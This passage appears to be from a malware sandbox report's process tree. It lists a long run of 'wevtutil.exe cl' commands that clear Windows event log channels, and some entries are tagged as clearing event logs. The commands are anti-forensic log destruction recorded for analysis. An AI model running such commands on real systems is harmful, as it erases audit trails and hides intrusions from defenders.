                                                          • C:\Windows\system32\wevtutil.exe
                                                            wevtutil.exe cl "Microsoft-Windows-AAD/Analytic"
                                                            3⤵
                                                              PID:3040
                                                            • C:\Windows\system32\wevtutil.exe
                                                              wevtutil.exe cl "Microsoft-Windows-AAD/Operational"
                                                              3⤵
                                                                PID:908
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
                                                                3⤵
                                                                  PID:2052
                                                                • C:\Windows\system32\wevtutil.exe
                                                                  wevtutil.exe cl "Microsoft-Windows-ASN1/Operational"
                                                                  3⤵
                                                                  • Clears Windows event logs
                                                                  PID:3076
                                                                • C:\Windows\system32\wevtutil.exe
                                                                  wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
                                                                  3⤵
                                                                    PID:784
                                                                  • C:\Windows\system32\wevtutil.exe
                                                                    wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
                                                                    3⤵
                                                                      PID:1860
                                                                    • C:\Windows\system32\wevtutil.exe
                                                                      wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
                                                                      3⤵
                                                                        PID:988
                                                                      • C:\Windows\system32\wevtutil.exe
                                                                        wevtutil.exe cl "Microsoft-Windows-All-User-Install-Agent/Admin"
                                                                        3⤵
                                                                          PID:3308
                                                                        • C:\Windows\system32\wevtutil.exe
                                                                          wevtutil.exe cl "Microsoft-Windows-AllJoyn/Debug"
                                                                          3⤵
                                                                            PID:448
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl "Microsoft-Windows-AllJoyn/Operational"
                                                                            3⤵
                                                                              PID:3740
                                                                            • C:\Windows\system32\wevtutil.exe
                                                                              wevtutil.exe cl "Microsoft-Windows-AppHost/Admin"
                                                                              3⤵
                                                                              • Clears Windows event logs
                                                                              PID:2176
                                                                            • C:\Windows\system32\wevtutil.exe
                                                                              wevtutil.exe cl "Microsoft-Windows-AppHost/ApplicationTracing"
                                                                              3⤵
                                                                                PID:4012
                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                wevtutil.exe cl "Microsoft-Windows-AppHost/Diagnostic"
                                                                                3⤵
                                                                                  PID:2852
                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                  wevtutil.exe cl "Microsoft-Windows-AppHost/Internal"
                                                                                  3⤵
                                                                                    PID:4172
                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                    wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
                                                                                    3⤵
                                                                                      PID:4816
                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                      wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
                                                                                      3⤵
                                                                                      • Clears Windows event logs
                                                                                      PID:3044
                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                      wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
                                                                                      3⤵
                                                                                        PID:1416
                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                        wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"
                                                                                        3⤵
                                                                                          PID:4832
                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                          wevtutil.exe cl "Microsoft-Windows-AppLocker/Packaged app-Execution"
                                                                                          3⤵
                                                                                            PID:2988
                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                            wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Admin"
                                                                                            3⤵
                                                                                              PID:2044
                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                              wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Analytic"
                                                                                              3⤵
                                                                                                PID:392
                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Debug"
                                                                                                3⤵
                                                                                                  PID:1036
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  wevtutil.exe cl "Microsoft-Windows-AppModel-Runtime/Diagnostics"
                                                                                                  3⤵
                                                                                                    PID:2496
                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                    wevtutil.exe cl "Microsoft-Windows-AppModel-State/Debug"
                                                                                                    3⤵
                                                                                                      PID:1412
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl "Microsoft-Windows-AppModel-State/Diagnostic"
                                                                                                      3⤵
                                                                                                        PID:1384
                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                        wevtutil.exe cl "Microsoft-Windows-AppReadiness/Admin"
                                                                                                        3⤵
                                                                                                          PID:3968
                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                          wevtutil.exe cl "Microsoft-Windows-AppReadiness/Debug"
                                                                                                          3⤵
                                                                                                          • Clears Windows event logs
                                                                                                          PID:4612
                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                          wevtutil.exe cl "Microsoft-Windows-AppReadiness/Operational"
                                                                                                          3⤵
                                                                                                            PID:4912
                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                            wevtutil.exe cl "Microsoft-Windows-AppSruProv"
                                                                                                            3⤵
                                                                                                              PID:5052
                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                              wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Diagnostic"
                                                                                                              3⤵
                                                                                                                PID:3204
                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                wevtutil.exe cl "Microsoft-Windows-AppXDeployment/Operational"
                                                                                                                3⤵
                                                                                                                  PID:1544
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Debug"
                                                                                                                  3⤵
                                                                                                                  • Clears Windows event logs
                                                                                                                  PID:2892
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Diagnostic"
                                                                                                                  3⤵
                                                                                                                    PID:3680
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Operational"
                                                                                                                    3⤵
                                                                                                                    • Clears Windows event logs
                                                                                                                    PID:2880
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl "Microsoft-Windows-AppXDeploymentServer/Restricted"
                                                                                                                    3⤵
                                                                                                                    • Clears Windows event logs
                                                                                                                    PID:3664
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Analytic"
                                                                                                                    3⤵
                                                                                                                      PID:3768
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl "Microsoft-Windows-ApplicabilityEngine/Operational"
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      PID:3656
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      PID:4128
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
                                                                                                                      3⤵
                                                                                                                        PID:4148
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        PID:4156
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        PID:4472
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug"
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        PID:1632
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        PID:1224
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic"
                                                                                                                        3⤵
                                                                                                                          PID:776
                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace"
                                                                                                                          3⤵
                                                                                                                            PID:3992
                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
                                                                                                                            3⤵
                                                                                                                              PID:3628
                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
                                                                                                                              3⤵
                                                                                                                                PID:4080
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
                                                                                                                                3⤵
                                                                                                                                • Clears Windows event logs
                                                                                                                                PID:4744
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Application-Experience/Steps-Recorder"
                                                                                                                                3⤵
                                                                                                                                  PID:3212
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Debug"
                                                                                                                                  3⤵
                                                                                                                                  • Clears Windows event logs
                                                                                                                                  PID:2540
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Operational"
                                                                                                                                  3⤵
                                                                                                                                    PID:856
                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-AppxPackaging/Performance"
                                                                                                                                    3⤵
                                                                                                                                      PID:1548
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Admin"
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      PID:5092
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-AssignedAccess/Operational"
                                                                                                                                      3⤵
                                                                                                                                        PID:3428
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Admin"
                                                                                                                                        3⤵
                                                                                                                                          PID:2160
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-AssignedAccessBroker/Operational"
                                                                                                                                          3⤵
                                                                                                                                            PID:4332
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-AsynchronousCausality/Causality"
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            PID:3932
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            PID:2324
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Audio/GlitchDetection"
                                                                                                                                            3⤵
                                                                                                                                              PID:1280
                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Audio/Informational"
                                                                                                                                              3⤵
                                                                                                                                                PID:2852
                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
                                                                                                                                                3⤵
                                                                                                                                                  PID:3432
                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2960
                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Audio/PlaybackManager"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2660
                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:960
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3764
                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4144
                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUser-Client"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3824
                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3752
                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController"
                                                                                                                                                                3⤵
                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                PID:4240
                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3436
                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/HCI"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3592
                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-BTH-BTHPORT/L2CAP"
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                    PID:1108
                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Diagnostic"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2400
                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-BTH-BTHUSB/Performance"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1748
                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Diagnostic"
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                                        PID:2836
                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-BackgroundTaskInfrastructure/Operational"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2552
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational"
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                          PID:3876
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Backup"
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                          PID:2796
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Connections/Operational"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:3064
                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4196
                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Battery/Diagnostic"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:996
                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Biometrics/Analytic"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5044
                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                  PID:2036
                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3692
                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                    PID:4056
                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-BitLocker-Driver-Performance/Operational"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3608
                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Management"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3964
                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-BitLocker/BitLocker Operational"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4684
                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-BitLocker/Tracing"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5072
                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4696
                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:3844
                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:1972
                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Bluetooth-Bthmini/Operational"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1184
                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                    PID:4392
                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Bluetooth-Policy/Operational"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:772
                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1160
                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:3440
                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                          PID:3628
                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-BranchCacheMonitoring/Analytic"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4080
                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5060
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4256
                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-CAPI2/Catalog Database Debug"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:3260
                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4332
                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                    PID:1312
                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:2076
                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-COM/ApartmentInitialize"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2988
                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-COM/ApartmentUninitialize"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1484
                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-COM/Call"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:2636
                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-COM/CreateInstance"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                            PID:3368
                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-COM/ExtensionCatalog"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3044
                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-COM/FreeUnusedLibrary"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:1496
                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-COM/RundownInstrumentation"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:608
                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-COMRuntime/Activations"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1820
                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-COMRuntime/MessageProcessing"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:4912
                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:2836
                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:1056
                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                                                          PID:1316
                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4212
                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4780
                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Cleanmgr/Diagnostic"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:2524
                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                                                                PID:2544
                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-CloudStore/Debug"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:4612
                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-CloudStore/Operational"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4584
                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                    PID:3852
                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:2792
                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:2040
                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1300
                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:3732
                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Analytic"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                            PID:2932
                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Compat-Appraiser/Operational"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:3736
                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Debug"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:3656
                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Containers-BindFlt/Operational"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:5724
